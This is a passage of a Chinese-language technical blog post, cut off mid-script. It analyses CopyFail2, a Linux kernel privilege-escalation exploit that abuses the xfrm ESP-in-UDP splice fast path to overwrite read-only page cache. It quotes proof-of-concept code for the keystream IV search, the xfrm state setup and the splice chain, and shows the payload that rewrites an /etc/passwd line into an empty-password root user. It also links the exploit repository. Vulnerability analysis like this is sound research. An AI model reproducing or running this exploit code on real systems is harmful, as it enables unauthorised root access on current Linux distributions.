monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">splice(file-&gt;pipe-&gt;AF_ALG)</span></code><span leaf="">把只读文件的PageCache页带进内核加密路径，再利用</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">algif_aead</span></code><span leaf="">状态机和原地解密写回，让内核把数据写到页缓存里。</span></p><p data-line="42" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">后来出现的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Copy_Fail2-Electric_Boogaloo</span></code><span leaf="">沿用了这个方向，但落点换到了网络协议栈。仓库地址是：<a href="https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo" target="_blank">https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo</a></span></p><p data-line="44" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">它名字叫CopyFail2，但漏洞入口已经不再是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">AF_ALG</span></code><span leaf="">状态机，而是xfrm ESP-in-UDP的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MSG_SPLICE_PAGES</span></code><span leaf="">无COW快路径。换句话说，它和CopyFail同属“只读PageCache被内核写回”的大类，但具体子系统已经切到XFRM/ESP，也就是DirtyFrag里ESP分支的核心位置。</span></p><p data-line="46" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这里的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">no-COW fast path</span></code><span leaf="">就是本文后面要讲的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">esp_input()</span></code><span leaf="">跳过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb_cow_data()</span></code><span leaf="">路径。</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MSG_SPLICE_PAGES</span></code><span leaf="">则是UDP发送侧把pipe里的页直接挂到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb-&gt;frags[]</span></code><span leaf="">，让目标文件PageCache以网络包frag的身份进入ESP接收路径。</span></p><p data-line="48" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">从仓库测试结果看，它覆盖Ubuntu24.04、Debian13、Arch、Fedora43、Ubuntu26.04等较新的内核；Ubuntu22.04的5.15内核不在它的触发范围内，因为UDP侧</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MSG_SPLICE_PAGES</span></code><span leaf="">支持是在6.5之后进入的。</span></p><p data-line="50" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">CopyFail2和DirtyFrag ESP分支的差异主要在利用策略。</span></p><p data-line="52" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">DirtyFrag ESP分支利用ESN的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">seq_hi</span></code><span leaf="">做4字节可控STORE，直接把</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/usr/bin/su</span></code><span leaf="">第一页换成192字节root-shellELF。CopyFail2走</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">rfc4106(gcm(aes))</span></code><span leaf="">，目标换成</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/etc/passwd</span></code><span leaf="">里一条无登录用户行，逐字节改成空密码uid0用户。中间填充字节用于保持原始行长度不变：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="54" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">sick::0:0:XXXXXXXXXXXXXXXX:/:/bin/bash</span></code></pre><p data-line="58" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">逐字节改写靠的是GCM的计数器流。CopyFail2先读出目标文件某个字节</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">C</span></code><span leaf="">，再指定想要的明文字节</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">P</span></code><span leaf="">，需要的keystream字节就是：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="60" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">keystream = C ^ P</span></code></pre><p data-line="64" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">PoC里对应的逻辑如下：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="66" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> tbyte;</span><br/><span leaf="">pread(tfd, &amp;tbyte, </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">, tboff);</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">unsigned</span></span><span style="color: rgb(163, 21, 21);"><span leaf="">char</span></span><span leaf=""> want_ks = tbyte ^ want_plain;</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">for</span></span><span leaf=""> (ivv = </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">; ivv &lt; (</span><span style="color: rgb(0, 128, 0);"><span leaf="">1ULL</span></span><span leaf="">&lt;&lt;</span><span style="color: rgb(0, 128, 0);"><span leaf="">32</span></span><span leaf="">); ivv++) {</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">memcpy</span></span><span leaf="">(IV, &amp;ivv, IVLEN);</span><br/><span style="color: rgb(0, 122, 204);"><span leaf="">memcpy</span></span><span leaf="">(nonce + SALT_LEN, IV, IVLEN);</span><br/><span leaf="">	aes_gcm_keystream_byte(AEAD_KEY, nonce, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">, &amp;ks_byte);</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">if</span></span><span leaf=""> (ks_byte == want_ks)</span><br/><span style="color: rgb(0, 0, 255);"><span leaf="">break</span></span><span leaf="">;</span><br/><span leaf="">}</span></code></pre><p data-line="80" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这里没有爆破密钥。AEADkey固定，变化的是IV；只要第0个keystream字节等于</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">want_ks</span></code><span leaf="">，ESP解密时目标文件原字节</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">C</span></code><span leaf="">和keystream异或后，就会得到想要的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">P</span></code><span leaf="">。</span></p><p data-line="82" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">接着它通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">ip xfrm state add</span></code><span leaf="">注册ESP状态，算法是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">rfc4106(gcm(aes))</span></code><span leaf="">：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="84" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span style="color: rgb(0, 122, 204);"><span leaf="">snprintf</span></span><span leaf="">(cmd, </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf=""> cmd,</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;ip link set lo up ; &#34;</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;ip xfrm state flush ; &#34;</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;ip xfrm state add src 127.0.0.1 dst 127.0.0.1 &#34;</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;proto esp spi 0x%08x &#34;</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;encap espinudp %d %d 0.0.0.0 &#34;</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;aead &#39;rfc4106(gcm(aes))&#39; %s 128 &#34;</span></span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;replay-window 32&#34;</span></span><span leaf="">,</span><br/><span leaf="">	SPI, ENC_PORT, ENC_PORT, keyhex);</span></code></pre><p data-line="96" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这里依然需要XFRM配置能力，所以它会运行在user和net命名空间中。仓库还提供了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">aa-rootns.c</span></code><span leaf="">，用于在特定Ubuntu策略下尝试拿到命名空间内所需能力。这个点比原始CopyFail更贴近真实发行版环境：漏洞触发之外，还要处理user namespace策略。</span></p><p data-line="98" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">把目标页送进ESP路径的代码集中在三次</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">splice()</span></code><span leaf="">和一次</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">splice(pipe-&gt;socket)</span></code><span leaf="">：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="100" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">splice(afd2, &amp;off, pfd[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">], </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">16</span></span><span leaf="">, SPLICE_F_MORE);</span><br/><span leaf="">splice(tfd, &amp;toff, pfd[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">], </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">, SPLICE_F_MORE);</span><br/><span leaf="">splice(afd2, &amp;ioff, pfd[</span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf="">], </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">16</span></span><span leaf="">, SPLICE_F_MORE);</span><br/><span style="color: rgb(163, 21, 21);"><span leaf="">int</span></span><span leaf=""> ss = socket(AF_INET, SOCK_DGRAM, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">);</span><br/><span leaf="">connect(ss, (</span><span style="color: rgb(0, 0, 255);"><span leaf="">struct</span></span><span leaf=""> sockaddr *)&amp;da, </span><span style="color: rgb(0, 0, 255);"><span leaf="">sizeof</span></span><span leaf=""> da);</span><br/><span leaf="">splice(pfd[</span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">], </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, ss, </span><span style="color: rgb(163, 21, 21);"><span leaf="">NULL</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">16</span></span><span leaf=""> + </span><span style="color: rgb(0, 128, 0);"><span leaf="">1</span></span><span leaf=""> + </span><span style="color: rgb(0, 128, 0);"><span leaf="">16</span></span><span leaf="">, </span><span style="color: rgb(0, 128, 0);"><span leaf="">0</span></span><span leaf="">);</span></code></pre><p data-line="110" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">前三次</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">splice()</span></code><span leaf="">分别塞入ESP头、目标文件的1字节PageCache、伪ICV。最后一次</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">splice(pipe-&gt;UDPsocket)</span></code><span leaf="">让内核设置</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">MSG_SPLICE_PAGES</span></code><span leaf="">，这1字节目标文件页就会作为</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">skb-&gt;frags[]</span></code><span leaf="">进入ESP接收路径。</span></p><p data-line="112" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">外层</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">run.sh</span></code><span leaf="">负责把“单字节写”扩展成“整行替换”。它先找</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">/etc/passwd</span></code><span leaf="">里最长的</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">nologin</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">false</span></code><span leaf="">或</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">sync</span></code><span leaf="">用户行，然后构造同长度的新行，避免破坏文件结构。</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="114" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">PREFIX=</span><span style="color: rgb(163, 21, 21);"><span leaf="">&#34;</span><span style="color: rgb(0, 128, 0);"><span leaf="">${NEW_USER}</span></span><span leaf="">::0:0:&#34;</span></span><br/><span leaf="">SUFFIX=</span><span style="color: rgb(163, 21, 21);"><span 